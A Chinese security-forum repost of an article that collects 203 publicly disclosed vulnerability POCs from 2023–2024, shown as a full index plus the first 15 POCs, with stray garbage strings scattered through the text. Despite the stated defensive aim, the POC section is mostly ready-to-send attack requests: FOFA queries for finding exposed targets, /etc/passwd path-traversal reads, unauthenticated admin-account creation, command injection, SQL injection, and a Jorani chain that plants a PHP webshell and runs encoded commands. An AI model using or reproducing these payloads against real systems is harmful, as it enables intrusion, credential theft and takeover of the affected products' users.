中国网络渗透测试联盟

标题: 互联网公开漏洞整理202309-202406--转载 [打印本页]

---

作者: admin    时间: 2024-6-5 14:31
标题: 互联网公开漏洞整理202309-202406--转载
互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
& e, G9 M6 v# H7 w6 i, O- W# n0 _$ R
! o- i% J* U" g! m, i8 p发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
- K6 B+ M. |" `0 @4 ^8 Q
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
7 \- n" i. C+ J! h( W
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

' J% x' @& c; @. T: Y6 {' v合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

! K" D: ?& D1 ~3 N
声明

% ~. g5 K( _1 A! p! Q5 A' k9 @为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
4 F2 Q& w- ?3 q; N3 Y! C
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
3 w. Z( ?8 |' \! S  e( c
+ w9 Q( L" W- R3 V0 ?

目录

01
2 m: g, J( n" p9 Q) E1 U7 o& [
+ e. [( e  h& V( t1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
7 g0 G9 B) U# O' h1 J, J0 t5. NUUO NVR 视频存储管理设备远程命令执行
- c1 K; ]' c  Q6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
, r6 J7 z& z1 @) U8 p& c* n8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
3 Z# B# J7 U7 A& {! Z8 ?' c10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
9 e8 w/ E' e' }9 S% }( h* z, i* i- ]11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
1 C( R# ]) Z0 b: ^" y% f14. 华夏ERP（jshERP）敏感信息泄露
5 H6 Z" d; |6 d4 K: g15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
7 r, l$ X+ F, d/ i+ K+ ^" S18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
, J" I& k5 r' J19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
, K' A$ V. c5 u, b: A" Y4 ~8 z22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
. x$ O) [. p0 ~24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
4 o% G9 z7 R; k! ?' {' h26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
8 {. p8 R( g1 E8 N; D( F32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
* Q3 ]' n9 L( d4 m: a: q/ n36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
" f; G; U2 Z( s43. 用友GRP-U8 userInfoWeb SQL注入致RCE
: v3 |" J3 O" B! m4 e44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
. N* u6 _! ]# p: k0 w/ ^: }46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
# n) v7 R% s( c5 m; G% C* c, F49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
9 t1 v, P7 @9 W2 S5 `8 T58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
# N" L* L6 l; c" @+ `0 v60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
. Q. B% [6 E8 q4 u! H! @! O4 G66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
/ a$ N* Q3 K8 s1 S1 T7 j68. 万户ezOFFICE wf_printnum.jsp SQL注入
! A( g" N# }; `* f4 D69. 万户 ezOFFICE contract_gd.jsp SQL注入
. J6 v+ H' `, z$ d70. 万户ezEIP success 命令执行
/ d5 ]" I" ?! n7 Y) Y  U! j3 D$ I71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
/ ~. }3 u# e) s, {  M9 z( ?72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
+ N( m) f' s- d# r74. 致远M3-server 6_1sp1 反序列化RCE
/ E4 m1 q4 G1 v" _75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
- N" T% B% l: n$ A3 o4 Z78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
: w+ P: I( `0 \. |4 d80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
4 f/ t0 `9 \0 e# t  t81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
. ]5 {, F, u- Q* o82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
+ a& X* a1 X5 n8 K& I83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
0 r7 G: P6 @: \0 D# e) s8 @1 _87. 安恒明御安全网关aaa_local_web_preview文件上传
3 x3 H) A- m/ I& J2 v88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
6 z9 L( ~6 W; I" W5 _89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
9 D' M1 h" Q" T7 k, _4 ]91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; l. h! e. z2 b$ ^$ u- ?4 S5 V8 T92. 海康威视运行管理中心session命令执行
, j* {! P( E( H93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
) Y4 k" `0 w. B8 L5 B( Z) Y94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
7 {5 S4 g9 e" Z2 n; ]99. Ncast盈可视高清智能录播系统busiFacade RCE
2 m' P, Y& g( I; n100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
6 T! _- v8 i/ \4 V& d5 T* P101. ivanti policy secure-22.6命令注入
- W4 F. b4 Y  F/ ?2 K102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
, u6 L6 h  q* M5 c8 M104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
$ J  L! ^: E) Z# G( p105. SpringBlade v3.2.0 export-user SQL 注入
  |7 L* ]* }3 r" F0 k106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
! [2 M. j; s3 X" C, P$ ^1 G; c109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
( {6 b  r$ k' w+ [. V  b; N( B111. WordPress Plugin HTML5 Video Player SQL注入
) |3 m+ _$ ^' i112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
" Y( F7 t" B; p* M4 ^' n$ U2 B( m115. WordPress Bricks Builder <= 1.9.6 RCE
0 J1 H# D5 q4 h. g* t) ?116. wordpress js-support-ticket文件上传
5 }  C: |! R: Z  R/ Z0 |) Y8 p1 v8 ?117. WordPress LayerSlider插件SQL注入
. F# K4 f- f/ M118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
' b6 E0 o6 G0 ^( T2 ?122. 北京百绰智能s200管理平台/importexport.php sql注入
( I% M" @$ C% I, E  D123. Atlassian Confluence 模板注入代码执行
' b) s( R1 e6 ]; ^( b124. 湖南建研工程质量检测系统任意文件上传
: l' {3 c" W& S. |1 e125. ConnectWise ScreenConnect身份验证绕过
& k7 n" b+ x; ?7 W; w126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
7 D+ n9 [3 c) J8 z# D3 F$ N8 D0 ]128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
# C) e3 r6 m0 e, q. j139. 福建科立讯通信指挥调度平台editemedia.php sql注入
9 M% E8 N6 M% W# T: q& W140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
+ j) I. ~( z2 d) g1 E$ F141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
3 A/ R$ ?, U7 ^. N- i; _142. CMSV6车辆监控平台系统中存在弱密码
5 W$ K: B$ M# I4 j143. Netis WF2780 v2.1.40144 远程命令执行
5 h* B$ T& ?) m$ O& P1 A144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
/ z) {$ n# s; c: |' ^" }1 d148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
! |$ h+ F) ^5 f+ i- o7 B6 J# y150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
' b( l0 f5 P) x0 h152. Progress Kemp LoadMaster 远程命令执行
% E7 j3 l$ W/ A153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
- i; i: D' V# j155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
( u$ q& o* {4 d& V7 X" t; M157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
; R, C; ?$ o) g159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
. l1 ?6 d- ~5 h0 ?162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
+ P; Z, N: b7 E2 e163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
* Y( @' F' C  h165. OrangeHRM 3.3.3 SQL 注入
2 d) o! g# D1 i# t1 J166. 中成科信票务管理平台SeatMapHandler SQL注入
3 `4 e! [% r' U. v; B* l2 M0 R, L167. 精益价值管理系统 DownLoad.aspx任意文件读取
. |8 O1 l) `6 L5 x) w168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
/ O( ~( k1 t& z1 k3 d3 \  h8 ^170. 宏景EHR DisplayExcelCustomReport 任意文件读取
) N0 ]+ L  [" s! ?171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
, p5 J, F) Y- N! V8 C174. 金和OA C6 FileDownLoad.aspx 任意文件读取
) Z1 |9 P/ _4 e' Y) e175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
5 w! ]5 S* a4 |  A5 e# O" v' g176. 电信网关配置管理系统 rewrite.php 文件上传
8 @2 g1 A" y+ S7 z, Q4 r; N177. H3C路由器敏感信息泄露
- k  z& \; _0 p6 q, \178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
: N, g; @: r) M% r7 t181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
" ^! D. v& T9 E2 C! U" @4 |$ u182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
1 u( A( I1 Z& {# i6 \185. 瑞友天翼应用虚拟化系统SQL注入
- `, }& |% `  `& f$ t$ |4 G186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
* g2 [  S9 ^5 v7 g188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
7 U' F- I2 Q3 J/ X9 s7 e' V190. 短视频矩阵营销系统 poihuoqu 任意文件读取
7 e$ B; z0 u' i5 Z# B* j' o# e191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
% t/ K; J6 V+ j0 E3 _' L192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
6 i2 ^7 t6 @' N. ]( D9 |3 W1 Y& e194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
. C* h2 {% s- z$ t$ L' P( N/ g197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
; _! c, [! `" a199. cockpit系统assetsmanager_upload接口 文件上传
1 R# z; |" Q% d; V% R& O$ w* u200. SeaCMS海洋影视管理系统dmku SQL注入
& f# S6 ]& a# R: I, s( l201. 方正全媒体新闻采编系统 binary SQL注入
: J- Y' J3 q- b" k! {- u$ t202. 微擎系统 AccountEdit任意文件上传
6 e' _, o% ^7 n4 q' M6 t' k203. 红海云EHR PtFjk 文件上传
3 s8 G4 @. v8 I. T$ A2 |) c
: e" `  K9 Z0 R9 w% pPOC列表
  D: k9 D5 r3 n3 u# \9 \
  v. i4 W" U( O  g$ w02

" B5 `- v  E9 q# X) r1. StarRocks MPP数据库未授权访问
! `2 Z: @8 s# L& k6 F: uFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
5 U9 t5 G! B7 V7 B% @, ^6 ]Host: URL


% p1 C# k$ a; I' Y/ v6 l8 O2. Casdoor系统static任意文件读取
% }! c3 h; D: y* m# ^- EFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
. c0 z4 V! o2 n4 T1 F2 p; QHost: xx.xx.xx.xx:9999
* b- |* [% H2 R. [* R$ ]5 C1 F! ]) JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
6 h2 r* V. Q6 c) Q4 |Accept-Language: en
Accept-Encoding: gzip
. ]% e9 ^; i" O4 f4 T/ n
& H/ n- a, g) o! a* f  P- E; H
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
, Q) r4 I+ k. \6 {/ SGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
* @( G$ y; _5 [) V' m3 x- CHost: xx.xx.xx.xx

6 h' H  ^& {; l
4. EasyCVR视频管理平台存在任意用户添加
  l9 w' q, H5 f, A3 w) @, \1 |, LFOFA ：title="EasyCVR"

5 a( {- k$ f# h- m, r, y3 e2 q( Ipassword更改为自己的密码md5
" I# N( S, W) ^) Y& BPOST /api/v1/adduser HTTP/1.1
: }  a4 w3 S# N0 F1 [Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
, k- Y. j) E* d8 n) q1 g% M
$ e9 [- P  P, C1 P4 F7 bname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

1 z. d# T7 ]- W) u: H, I1 @& z  @
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
5 B. U7 f0 A8 Y) ~2 {9 oHost: xx.xx.xx.xx

7 g+ L2 f: ]" H) ^9 V5 ~7 v
6. 深信服 NGAF 任意文件读取
3 C. z) t* a' aFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
& R: s( `, x- m. `% S0 E( dHost:


7. 鸿运主动安全监控云平台任意文件下载
; U1 y; W8 L5 \4 _FOFA：body="./open/webApi.html"
1 a& U; x3 a  Y# \2 I$ {  q5 SGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
$ @! i  E5 Q1 t* J( o) @7 `. W6 @Host:
, L; H0 h, g: h
& B3 D  j2 s! S; X$ ?" \
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
0 b$ {5 Z& v/ v2 S7 b/ o. BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
8 V9 l& e, [2 i: G: HUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
3 J  u! }$ P- }3 e
5 J6 P; c- F# K------WebKitFormBoundaryxbgjoytz
  s/ g. T6 g+ q* |( q: b9 VContent-Disposition: form-data; name="wifiRebootEnablestatus"
; w! C+ Q) Q# o+ B0 h/ ~
) C; ^1 n7 z( `: Z+ K/ w) n  F%s
; p$ S3 ]* \! M$ ?7 n7 S6 W) h7 B------WebKitFormBoundaryxbgjoytz
7 i( o% r5 S  g% O- Q. w6 F/ ?Content-Disposition: form-data; name="wifiRebootrange"
2 Q$ h1 t' Q" }4 t% N/ J3 D
, ?) `2 N4 k1 A6 H: W& h12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
" |7 n; a9 a0 w3 K; X: w- u
%s:
' {2 U7 E3 P7 \! U% q2 N------WebKitFormBoundaryxbgjoytz
! @* N- o( s& y. ~$ i+ kContent-Disposition: form-data; name="cururl2"
* F7 [# `) s# @5 {$ {! l7 p! ?' Z

: }" V# n4 d! @. i. o------WebKitFormBoundaryxbgjoytz--
! _2 p% ?! ?, D1 n

# [! Y, R* `- M: y1 B9. 稻壳CMS keyword 未授权SQL注入
- U& K$ u" M1 g" m" A" [FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
* U4 \& S* I! D1 D/ x
! m! j2 {6 N, Y) a1 F2 |! o
# b. ?% `4 c4 s' Npayload为下列语句的二次Url编码
( E" ~! L# N7 _5 c$ }
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
- E1 v9 o9 q& w+ PFOFA：icon_hash="953405444"

' M! z, w/ k2 {3 c* ]# R文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
2 e/ d; Q# {0 j# e5 tHost: x.x.x.x:xx
0 S% W$ E' E- P4 T5 g# RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
* \5 ~3 @$ v1 h9 P# QContent-Length: 197
6 P& T# T$ |  ^" b- ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
+ t) @; l% T: AAccept-Language: zh-CN,zh;q=0.9
  J+ E4 _4 v( |# M: SConnection: close
& F$ r+ e. Y) e# RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
( v) I5 B3 j6 ~" F2 t7 p7 i9 P------WebKitFormBoundaryxdgaqmqu--


) M8 V% C0 V/ u1 }- p3 `11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
5 |( u+ a) z/ ?6 f/ c3 FGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
$ J  h. O( {0 ^/ O! H" J$ o0 fHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
  E( Z0 U7 {5 G/ d6 A6 t+ WUpgrade-Insecure-Requests: 1
& n- W" G( _7 i' p  k" \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' a+ e7 Q- x' q/ q: c9 A$ nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
' M3 M5 {& [1 b/ sConnection: close

0 C3 v( ?1 P+ X. ~
12. Jorani < 1.0.2 远程命令执行
8 k* [' A! N( x# v+ AFOFA：title="Jorani"
5 L- x# x6 K( B! l- x5 D; e第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


7 f+ H% j4 p+ N  @8 ]9 K响应中csrf_cookie_jorani用于后续请求
+ g& c6 o$ V2 f& Q2 S8 [* |HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
( ?* M1 Y/ V, z8 M. wContent-Type: text/html; charset=UTF-8
, w, g- s& X. Z  \Date: Tue, 24 Oct 2023 09:34:28 GMT
; E# }( g6 R- w- m+ W/ J+ j+ lExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
5 Y' a7 f9 [+ a% GSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
6 j; @& a& @( r. @

POST请求，执行函数并进行base64编码
6 [( [& e& L$ I, f" N4 V1 kPOST /session/login HTTP/1.1
0 k; Y# r/ v$ b$ _( {7 f+ e) \Host: 192.168.190.30
* J7 w# f: n$ z: i* WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
; f; ?4 d9 @" s  C% d& _Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
6 m; Y, s/ G+ i3 S' }  Z( L) _Accept-Encoding: gzip
( b8 B+ Q) r$ i. |. z
- }, w- \7 ]8 F8 X/ y! a" Kcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
+ o0 N+ D( [8 d

1 E7 A2 D) K' f: K. C  Y
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
# a. Z' m# l6 dHost: 192.168.190.30
7 V% K* W7 k) k  _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
) d" C6 {3 K. G) D& [) oAccept-Encoding: gzip
& T6 G. i, @. |; g* O; ~8 [; n+ R# ?
6 |7 S0 N, w3 z5 V  _  O0 l* l2 @
1 I# p+ n! o# n13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
; c7 d) |# P4 p  cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 h6 i0 ^, `! D3 J, B  s0 B7 `Connection: close
7 |* }( E* S; p& yAccept: */*
Accept-Encoding: gzip

, g- z3 J# O! c# G0 f+ q% |
  c! s" ?  q2 X4 O14. 华夏ERP（jshERP）敏感信息泄露
* [+ J, ~5 Z2 r6 ~FOFA：body="jshERP-boot"
/ P) z& o* e: k# R泄露内容包括用户名密码
3 \( U/ Y  i6 gGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
' J6 }$ T; U& v1 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
& }( ^' e7 @& X: h" C6 J0 YConnection: close
Accept: */*
$ n* X( l2 O" }2 F. D: GAccept-Language: en
) q) _2 w7 f0 B. Q' |% ~3 A# P; {Accept-Encoding: gzip
9 M: Z$ q7 H, j; D% i

15. 华夏ERP getAllList信息泄露
% O( n+ c  l% M  SCVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
; ?1 a. S6 d8 {0 |: X* L$ p% UGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
; {/ p4 h/ s  U7 J( p3 O6 ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
/ t; s) @3 o. b# GConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
